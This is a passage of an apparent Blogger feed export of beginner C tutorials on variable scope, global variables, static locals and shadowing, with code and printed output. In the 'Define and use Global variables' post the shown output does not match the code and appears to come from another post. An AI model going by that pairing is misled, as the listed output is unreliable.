black;"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;printf&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #2a00ff;"&gt;"value&amp;nbsp;of&amp;nbsp;i&amp;nbsp;after&amp;nbsp;call%d\n"&lt;/span&gt;&lt;span style="color: black;"&gt;,i&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;f1&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;void&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;int&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;i=&lt;/span&gt;&lt;span style="color: #990000;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;i&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #990000;"&gt;50&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;OUTPUT&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;&amp;nbsp;-------------------------------&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;pre class="codeResult"&gt;value of i in main 0&lt;br /&gt;      value of i after call 0&lt;/pre&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt; &lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-4868722043188502251?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4868722043188502251'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4868722043188502251'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/10/local-variable-shadows-global-variable.html' title='Local variable shadows global variable.'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-762023034606057488</id><published>2011-10-05T01:02:00.001-07:00</published><updated>2011-10-05T01:03:38.544-07:00</updated><title type='text'>Define and use Global variables</title><content type='html'>&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;#include&amp;nbsp;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;int&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;count&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #990000;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3f7f5f;"&gt;/*&amp;nbsp;Declare&amp;nbsp;a&amp;nbsp;global&amp;nbsp;variable&amp;nbsp;&amp;nbsp;&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;void&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;test1&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;void&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;printf&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #2a00ff;"&gt;"\ntest1&amp;nbsp;&amp;nbsp;&amp;nbsp;count&amp;nbsp;=&amp;nbsp;%d&amp;nbsp;"&lt;/span&gt;&lt;span style="color: black;"&gt;,&amp;nbsp;++count&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;void&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;test2&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;void&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;static&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;int&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;count;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3f7f5f;"&gt;/*&amp;nbsp;This&amp;nbsp;hides&amp;nbsp;the&amp;nbsp;global&amp;nbsp;count&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;printf&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #2a00ff;"&gt;"\ntest2&amp;nbsp;&amp;nbsp;&amp;nbsp;count&amp;nbsp;=&amp;nbsp;%d&amp;nbsp;"&lt;/span&gt;&lt;span style="color: black;"&gt;,&amp;nbsp;++count&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;int&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;main&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;void&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;int&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;count&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #990000;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3f7f5f;"&gt;/*&amp;nbsp;This&amp;nbsp;hides&amp;nbsp;the&amp;nbsp;global&amp;nbsp;count&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;for&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;count&amp;nbsp;&amp;lt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #990000;"&gt;5&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;count++&lt;/span&gt;&lt;span style="color: black;"&gt;)&amp;nbsp;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;test1&lt;/span&gt;&lt;span style="color: black;"&gt;()&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;test2&lt;/span&gt;&lt;span style="color: black;"&gt;()&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;return&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: #990000;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;OUTPUT&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;----------------------------&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;table border="0" style="width: 800px;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;table bgcolor="#ffffff" border="0" cellpadding="3" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td align="left" nowrap="nowrap" valign="top"&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;/code&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;pre class="codeResult"&gt;value of i in main 0&lt;br /&gt;     value of i after call 50&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt; &lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-762023034606057488?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/762023034606057488'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/762023034606057488'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/10/define-and-use-global-variables.html' title='Define and use Global variables'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-4686060855710822839</id><published>2011-10-05T01:00:00.001-07:00</published><updated>2011-10-05T01:00:50.357-07:00</updated><title type='text'>Declare global variables</title><content type='html'>&lt;table border="0" style="width: 800px;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;A global variable is available to all functions in your program.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;A local variable is available only to the function in which it's created.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;ol&gt;&lt;li&gt;Global variables are declared outside of any function.&lt;/li&gt;&lt;li&gt;Global variables are typically declared right before the main() function.&lt;/li&gt;&lt;li&gt;You can also declare a group of global variables at one time:&lt;/li&gt;&lt;/ol&gt;&lt;table border="0" style="width: 800px;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;table bgcolor="#ffffff" border="0" cellpadding="3" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td align="left" nowrap="nowrap" valign="top"&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;int&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;s,t;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;And, you can preassign values to global variables, if you want:&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table bgcolor="#ffffff" border="0" cellpadding="3" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td align="left" nowrap="nowrap" valign="top"&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;/code&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;char&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;prompt&lt;/span&gt;&lt;span style="color: black;"&gt;[]&lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: #2a00ff;"&gt;"What?"&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-4686060855710822839?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4686060855710822839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4686060855710822839'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/10/declare-global-variables.html' title='Declare global variables'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-1615027327525501659</id><published>2011-10-05T00:58:00.001-07:00</published><updated>2011-10-05T01:04:17.315-07:00</updated><title type='text'>Global variables</title><content type='html'>&lt;a href="http://geekcodes.blogspot.com/2011/10/declare-global-variables.html"&gt;Declare global variables&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2011/10/define-and-use-global-variables.html"&gt;Define and use Global variables&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-1615027327525501659?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1615027327525501659'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1615027327525501659'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/10/global-variables.html' title='Global variables'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-3502458642738326113</id><published>2011-09-28T05:14:00.001-07:00</published><updated>2011-09-28T05:14:49.154-07:00</updated><title type='text'>Global variables</title><content type='html'>Declare global variables&lt;br /&gt;&lt;br /&gt;Define and use Global variables&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-3502458642738326113?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3502458642738326113'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3502458642738326113'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/global-variables.html' title='Global variables'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-7830578012556836680</id><published>2011-09-28T05:11:00.001-07:00</published><updated>2011-09-28T05:12:34.055-07:00</updated><title type='text'>Inner variable shadows outer variable</title><content type='html'>&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;#include &lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;main&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;void&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;count = &lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;                                &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;do&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;int &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;count = &lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;                &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;++count;                      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\ncount = %d "&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, count&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;while&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;( &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;++count &amp;lt;= &lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;8 &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;  &lt;/span&gt;&lt;span style="color: rgb(63, 127, 95);"&gt;/* This works with outer count */&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(63, 127, 95);"&gt;/* this is outer */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(42, 0, 255);"&gt;"\ncount = %d\n"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, count&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 255);"&gt;  &lt;/span&gt;&lt;span style="color: rgb(127, 0, 85);"&gt;&lt;b&gt;return &lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);font-size:180%;" &gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;OUTPUT&lt;br /&gt;-----------------------------------&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;pre class="codeResult"&gt;count = 1     &lt;br /&gt;count = 1     &lt;br /&gt;count = 1     &lt;br /&gt;count = 1     &lt;br /&gt;count = 1     &lt;br /&gt;count = 1     &lt;br /&gt;count = 1     &lt;br /&gt;count = 1     &lt;br /&gt;count = 1     &lt;br /&gt;count = 9&lt;/pre&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-7830578012556836680?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7830578012556836680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7830578012556836680'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/09/inner-variable-shadows-outer-variable.html' title='Inner variable shadows outer variable'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-9190189763536739790</id><published>2011-09-28T05:08:00.000-07:00</published><updated>2011-09-28T05:09:31.046-07:00</updated><title type='text'>Scope of variables</title><content type='html'>&lt;table border="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td height="20"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;  &lt;ol&gt;&lt;li&gt;Variable can be defined in the block.&lt;/li&gt;&lt;li&gt;The blocks are marked using { and } braces.&lt;/li&gt;&lt;li&gt;The scope of the variable is in the block where it is declared.&lt;/li&gt;&lt;li&gt;Variable defined in the outer block can be used in the inner block.&lt;/li&gt;&lt;li&gt;The nearest definition has more precedence.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color:#000000;"&gt;#include &lt;stdio.h&gt;&lt;/stdio.h&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;main&lt;/span&gt;&lt;span style="color:#000000;"&gt;() {   &lt;/span&gt;&lt;br /&gt;&lt;span style="color:#ffffff;"&gt;    &lt;/span&gt;&lt;span style="color:#7f0055;"&gt;&lt;b&gt;int 